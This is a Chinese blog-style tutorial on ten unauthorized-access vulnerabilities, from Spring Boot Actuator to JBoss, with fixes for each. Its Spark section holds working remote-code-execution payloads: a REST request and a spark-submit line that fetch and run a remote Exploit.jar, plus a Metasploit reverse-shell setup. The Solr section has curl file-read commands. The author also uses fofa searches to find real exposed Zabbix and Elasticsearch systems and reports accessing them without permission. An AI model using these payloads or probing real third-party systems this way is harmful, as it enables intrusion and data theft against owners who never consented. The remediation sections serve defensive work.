前言
未授权访问漏洞可以理解为需要安全配置或权限认证的地址、授权页面存在缺陷导致其他用户可以直接访问从而引发重要权限可被操作、数据库或网站目录等敏感信息泄露,漏洞成因多为运维人员未正确对系统进行设置导致,未授权访问漏洞是常见的攻击入口点,某些严重的未授权访问会直接导致getshell,熟悉常见的未授权访问漏洞排查方法对本单位网络安全建设工作有很大的帮助,文章侧重点不在漏洞利用。
今年常态化HW工作中遇到了很多未授权漏洞,例如Solr 未授权访问。虽然有些未授权漏洞单出可能并不会造成很严重的影响,但是若外网环境存在未授权漏洞,被攻击者拿到漏洞借助为跳板结合框架其他漏洞进行攻击,还是会导致很严重的安全问题,所以即使是简单的未授权访问漏洞,也不能忽视,毕竟安全无小事。
就简单概括一下工作中普遍遇到的一些未授权漏洞以及利用方式,并给出相关的防护措施以及修复方式,希望对平时单位网络安全建设工作存在帮助,本篇文章关于以下未授权漏洞。
1、SpringBoot Actuator 未授权访问
2、Apache Spark未授权访问
3、Apache Solr 未授权访问
4、Weblogic 未授权访问
5、Zabbix 未授权访问
6、Kibana 未授权访问漏洞
7、Elasticsearch 未授权访问漏洞
8、Druid未授权访问漏洞
9、FTP 未授权访问漏洞
10、JBoss未授权访问漏洞
由于如果写一篇文章实在较长,故分篇进行描述
1、SpringBoot Actuator 未授权访问
漏洞环境搭建
本地为:Windows10+java的环境进行搭建搭建过程比较简单
git clone https://github.com/callicoder/spring-boot-actuator-demo.git
cd spring-boot-actuator-demo
mvn package
如果没装mvn或者mvn出错的话,直接百度即可,比较简单我就不再这里赘述了。
出现这里的信息就说明上面的命令全部执行成功了,然后执行下面的命令启动环境
java -jar target/actuator-demo-0.0.1-SNAPSHOT.jar
访问当前的ip信息:http://localhost:8080/
,环境启动成功
漏洞利用
用这个环境可以发现两个漏洞,或者就直接fscan扫也行,也能扫出来,这里我就不扫了
http://localhost:8080 poc-yaml-springboot-env-unauth spring2
http://localhost:8080 poc-yaml-spring-actuator-heapdump-file
1.x版本:
/configprops # 显示所有@ConfigurationProperties
/env # 公开 Spring 的ConfigurableEnvironment
/health # 显示应用程序运行状况信息
/httptrace # 显示 HTTP 跟踪信息
/metrics # 显示当前应用程序的监控指标信息。
/mappings # 显示所有@RequestMapping路径的整理列表
/threaddump # 线程转储
/heapdump # 堆转储
/jolokia # JMX-HTTP桥,它提供了一种访问JMX beans的替代方法
2.x版本:
/actuator/configprops # 显示所有@ConfigurationProperties
/actuator/env # 公开 Spring 的ConfigurableEnvironment
/actuator/health # 显示应用程序运行状况信息
/actuator/httptrace # 显示 HTTP 跟踪信息
/actuator/metrics # 显示当前应用程序的监控指标信息。
/actuator/mappings # 显示所有@RequestMapping路径的整理列表
/actuator/threaddump # 线程转储
/actuator/heapdump # 堆转储
/actuator/jolokia # JMX-HTTP桥,它提供了一种访问JMX beans的替代方法
springboot-env-unauth
公开 Spring
的ConfigurableEnvironment
http://localhost:8080/actuator/env
http://localhost:8080/actuator/configprops
spring-actuator-heapdump
在实战中,最重要的就是heapdump
文件,在这里文件里面理论上可以发现很多敏感的数据库之类的信息。
http://localhost:8080/actuator/heapdump
该文件可以直接下载到本地来,使用专业工具进行解密;
https://github.com/wyzxxz/heapdump_tool
使用方法:java -jar heapdump_tool.jar heapdump
在这个环境中,暂时没有发现什么敏感信息,但是在实战里面,有概率是可以发现敏感数据的:
关于其他工具用来发现敏感信息
https://mp.weixin.qq.com/s/JKq4WxFKwh7IDIAqTKcTHw
漏洞修复
①对所有接口进行账号密码等权限控制。
②升级到最新的SpringBoot Actuator版本。
③做好安全策略,例如黑白名单访问控制。
2、Apache Spark未授权访问
环境版本:
Apache Spark 2.3.1
环境搭建
Apache Spark是一款集群计算系统,其支持用户向管理节点提交应用,并分发给集群执行。如果管理节点未启动访问控制,攻击者可以在集群中执行任意代码。该漏洞的本质是未授权用户可以向Master节点提交一个应用,Master节点会分发给Slave节点执行应用。如果应用中包含恶意代码,会导致任意代码执行,威胁Spark集群整体的安全性。
直接vulhub搭建即可
git clone https://github.com/vulhub/vulhub.git
cd /vulhub/spark/unacc/
docker-compose up -d
docker坏了,镜像一直拉不下来,之前用vulhub的时候也没有出现这种问题,奇怪
# 打开 Docker 配置文件,如果没有这个文件就touch创建一下
vim /etc/docker/daemon.json
# 添加国内镜像源
{
"registry-mirrors": [
"https://registry.docker-cn.com",
"https://docker.mirrors.ustc.edu.cn",
"https://hub-mirror.c.163.com",
"https://mirror.baidubce.com"
]
}
# 重启 Docker 服务
sudo systemctl daemon-reload
sudo systemctl restart docker
漏洞利用
环境起来之后,访问http://your-ip:8080
即可看到master的管理页面,访问http://your-ip:8081
即可看到slave的管理页面。
漏洞本质是未授权的用户也可以向管理节点提交一个应用,如果为恶意代码,则造成RCE
利用REST API
构造payload,用bp发过去或者py脚本也可以,利用端口为6066
POST /v1/submissions/create HTTP/1.1
Host: 192.168.158.128:6066
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Content-Type: application/json
Connection: close
Content-Length: 680
{
"action": "CreateSubmissionRequest",
"clientSparkVersion": "2.3.1",
"appArgs": [
"whoami,w,cat /proc/version,ifconfig,route,df -h,free -m,netstat -nltp,ps auxf"
],
"appResource": "https://github.com/aRe00t/rce-over-spark/raw/master/Exploit.jar",
"environmentVariables": {
"SPARK_ENV_LOADED": "1"
},
"mainClass": "Exploit",
"sparkProperties": {
"spark.jars": "https://github.com/aRe00t/rce-over-spark/raw/master/Exploit.jar",
"spark.driver.supervise": "false",
"spark.app.name": "Exploit",
"spark.eventLog.enabled": "true",
"spark.submit.deployMode": "cluster",
"spark.master": "spark://192.168.158.128:6066"
}
}
其中,spark.jars
即是编译好的应用,mainClass是待运行的类,appArgs是传给应用的参数,也就是代码执行的字段。
访问http://your-ip:8081
已经加载了exploit.jar,这里不知道什么原因会失败,可能是环境不太稳定,大家注意status那个字段,如果是error则表示失败,需要重新尝试一下,估计是环境加载不出来
返回的包中有submissionId(driver-20240907162419-0001
),然后访问http://your-ip:8081/logPage/?driverId={submissionId}&logType=stdout
,即可查看执行结果:
利用submissions网关(集成在7077端口中)
如果6066端口不能访问,或做了权限控制,我们可以利用master的主端口7077,来提交应用。
方法是利用Apache Spark自带的脚本bin/spark-submit
:
bin/spark-submit --master spark://your-ip:7077 --deploy-mode cluster --class Exploit https://github.com/aRe00t/rce-over-spark/raw/master/Exploit.jar id
如果你指定的master参数是rest服务器,这个脚本会先尝试使用rest api来提交应用;如果发现不是rest服务器,则会降级到使用submission gateway来提交应用。
查看结果的方式与前面一致。
MSF的玩法
傻瓜式操作即可
msf5>use exploit/linux/http/spark_unauth_rce
msf5>set payload java/meterpreter/reverse_tcp
msf5>set rhost 192.168.100.2
msf5>set rport 6066
msf5>set lhost 192.168.100.1
msf5>set lport 4444
msf5>set srvhost 192.168.100.1
msf5>set srvport 8080
msf5>exploit
漏洞修复
关于修复这一块,更新版本我就不说了,关于未授权想到的第一个办法就是在这个页面加一个认证
-
创建认证filter对应的jar包,关于这一块熟悉Java的应该都清楚,不熟悉的直接百度
-
将jar包上传到spark的
jars
目录。 -
spark-defaults.conf
配置文件中,增加如下配置:spark.ui.filters=com.demo.SparkAuthFilter spark.com.demo.SparkAuthFilter.param.username=test spark.com.demo.SparkAuthFilter.param.password=password spark.acls.enable=true
-
重启spark集群
[root@localhost ~]# /etc/spark-2.3.2-bin-hadoop2.6/sbin/stop-all.sh [root@localhost ~]# /etc/spark-2.3.2-bin-hadoop2.6/sbin/start-all.sh
这里我不是本地搭的spark,就不麻烦演示了,大家如果对流程不熟悉可以百度
3、Apache Solr 未授权访问
Apache Solr是一个开源的搜索服务,使用Java编写、运行在Servlet容器的一个独立的全文搜索服务器,是Apache Lucene项目的开源企业搜索平台。该漏洞是由于没有对输入的内容进行校验,攻击者可利用该漏洞在未授权的情况下,构造恶意数据执行SSRF攻击,最终造成任意读取服务器上的文件。
这个其实不太算未授权访问漏洞,另一个也是solr的未授权访问漏洞是由于目录未加控制导致admin目录可以被读取,我在这里就不写了,敏感信息包括:solr的配置信息(包括路径,用户名,系统版本信息),数据库的配置信息(地址,用户名,密码),数据库搜索数据等
影响版本
- Apache Solr <=8.9.0 (latest) ,无修复版本
环境搭建
我看了一下最新版本8.9.0一样可以进行复现,我这里用的是8.8.1
直接去官网资源下载下来,https://archive.apache.org/dist/lucene/solr
进入该目录下
# 启动solr,端口任意
solr start -p 3333
Linux也是类似的命令,随机开一个端口即可
环境启动成功,访问3333端口可以看到solr相关信息
点击Core Admin
然后点一下Add Core
,此时solr就会自动在server/solr目录下生成一个new_core文件夹
把 server/solr/configsets/_default 下的 conf 的文件夹复制到 server/solr/new_core 目录里,然后再返回页面点击 Add Core
漏洞利用
通过访问以下地址可以看到当前的 Core 名称
http://127.0.0.1:3333/solr/admin/cores?indexInfo=false&wt=json
结合上一步获取到的 Core 名称访问以下地址可查看详细信息,造成信息泄露
http://127.0.0.1:3333/solr/new_core/config
使用 curl 对 Config API 打开默认关闭的requestDispatcher.requestParsers.enableRemoteStreaming
开关,为下方读取文件做准备,也就是修改一下配置文件。
curl -d "{ "set-property" : {"requestDispatcher.requestParsers.enableRemoteStreaming":true}}" http://127.0.0.1:3333/solr/new_core/config -H "Content-type:application/json"
使用 curl 对 stream.url 参数利用 file 伪协议读取本机的 hosts 的文件
curl "http://127.0.0.1:3333/solr/new_core/debug/dump?param=ContentStreams" -F "stream.url=file:///C:\Windows\System32\drivers\etc\hosts"
成功读取
漏洞修复
- 将 Solr 端口仅对内网开放,并配置访问策略
- 无修复版本
4、Weblogic 未授权访问
关于这个漏洞,存在两个cve,cve-2020-14883和cve-2020-14882,之前已经写过了,移步:https://www.plumstar.cn/2022/04/07/Weblogic%E6%9C%AA%E6%8E%88%E6%9D%83%E8%BF%9C%E7%A8%8B%E5%91%BD%E4%BB%A4%E6%89%A7%E8%A1%8C%E6%BC%8F%E6%B4%9E/
5、Zabbix 未授权访问
zabbix是一款服务器监控软件,默认服务开放端口为10051,其由server、agent、web等模块组成,其中web模块由PHP编写,用来显示数据库中的结果。
漏洞影响范围:Zabbix <= 4.4
"zabbix.php" && country="CN"
漏洞复现
就不直接搭建了,fofa上直接找一个国外的就ok
然后直接去访问下面的二级目录,就可以直接进去系统,下面几种都可以用
/zabbix.php?action=problem.view&ddreset=1
/overview.php?ddreset=1
/srv_status.php?ddreset=1
/latest.php?ddreset=1
看起来像是一个废弃资产
漏洞修复
- 设置zabbix的复杂口令,不要用默认口令或弱口令,禁用guest登录功能;
- zabbix的server和agent都不要以root启动,不要设置AllowRoot=1;
- 禁止agent执行run,不要设置EnableRemoteCommands=1;
6、Kibana 未授权访问漏洞
Kibana 是一个开源的数据可视化工具,主要用于与 Elasticsearch 一起构建强大的数据分析和可视化应用。Kibana如果允许外网访问且没有做安全登录认证,就会被外部任意访问,查看所有数据,造成数据泄露。在默认配置下,Kibana就可以访问Elasticsearch中的所有数据
漏洞复现
同样直接fofa搜索相关资产
"kibana" && port="5601"
漏洞修复
1.升级Kibana到最新版本,升级地址如下 https://www.elastic.co/cn/downloads/kibana.
2.在kibana所在的服务器上安装nginx服务,利用nginx的转发指令实现,需要输入账号密码才可以访问页面。
3.如果正常业务中 kibana 服务需要被其他服务器来访问,可以通过 iptables 策略,仅允许指定的IP来访问服务。
7、Elasticsearch 未授权访问漏洞
ElasticSearch是一个基于Lucene的搜索服务器。它提供了一个分布式多用户能力的全文搜索引擎,基于RESTful web接口。Elasticsearch是用Java开发的,并作为Apache许可条款下的开放源码发布,是当前流行的企业级搜索引擎。Elasticsearch的增删改查操作全部由http接口完成。由于Elasticsearch授权模块需要付费,所以免费开源的Elasticsearch可能存在未授权访问漏洞。该漏洞导致,攻击者可以拥有Elasticsearch的所有权限。可以对数据进行任意操作。业务系统将面临敏感数据泄露、数据丢失、数据遭到破坏甚至遭到攻击者的勒索。
Elasticsearch服务普遍存在一个未授权访问的问题,攻击者通常可以请求一个开放9200或9300的服务器进行恶意攻击。
环境搭建
我本地环境为Linux,注意elasticsearch不能root执行
# elasticsearch需要JDK1.8+
#下载环境
wget https://artifacts.elastic.co/downloads/elasticsearch/elasticsearch-5.5.0.zip
# 解压并启动
unzip elasticsearch-5.5.0.zip
cd elasticsearch-5.5.0/bin
./elasticsearch
或者直接去fofa搜相关资产,顺便还能看看有没有能交的SRC
"Elasticsearch" && port="9200"
漏洞验证
http://localhost:9200/_plugin/head/ 查看web管理界面
http://localhost:9200/_cat/indices
http://localhost:9200/_river/_search 查看数据库敏感信息
http://localhost:9200/_nodes 查看节点数据
例如我这里在fofa找到了一个没开验证的可以未授权直接查看节点数据,正常为需要验证
修复策略
访问控制策略,限制IP访问,绑定固定IP。
在config/elasticsearch.yml中为9200端口设置认证等,例如上面
8、Druid未授权访问漏洞
Druid 是一款开源的软件,可以帮助用户监视数据库连接池,它不仅仅可以实现数据库的连接监控,还可以帮助用户监控SQL语句的执行、WEBURL的请求以及Session数据监控等。
关于环境搭建直接百度
环境搭建
fofa和google语法查找相关资产
title="Druid Stat Index"
漏洞验证
直接在网站的url中后加上,存在漏洞即为不需要认证直接可以访问如下关键页面
/druid/index.html
/druid/websession.html
/druid/datasource.html
/druid/sql.html
/druid/spring.html
例如http://www.xxxx.com/druid/index.html
,发现存在Druid未授权访问页面,重点关注URL监控和Session监控页面;
漏洞修复
对druid访问开启黑白名单访问控制策略或禁止放在公网上。
设置强的账号密码等验证机制,使其访问时需要强加密的账号密码,因为druid有默认弱口令:admin/admin
9、FTP 未授权访问漏洞
FTP是用于在网络上进行文件传输的一套标准协议,有时候没有配置账号密码或账号密码为弱密码等验证机制导致未授权访问,获取到里面的所有文件,导致信息泄露。环境搭建直接拿Windows开启FTP服务即可
漏洞验证
我这里本地搭建了一个FTP服务端,可以看到若路径设置为敏感目录或FTP主目录存在敏感文件,并且并未设置验证即可导致信息泄露
漏洞修复
开启黑白名单访问控制策略或禁止放在公网上。
设置强的账号密码等验证机制,使其访问时需要强加密的账号密码。
10、JBoss未授权访问漏洞
JBoss 通常情况下用户会利用其进行管理EJB的容器和服务器,其中在某版本中由于配置不严谨,导致攻击者可以直接访问JMX Console控制页面利用jboss.deployment进行应用部署而导致代码执行,写webshell木马等敏感操作,导致服务器沦陷。
环境搭建
title="Welcome to JBoss"
漏洞验证
修复措施
- 添加 JMX 控制页面身份认证;
- 进行JMX Console 安全配置;
- 关闭jmx-console和web-console。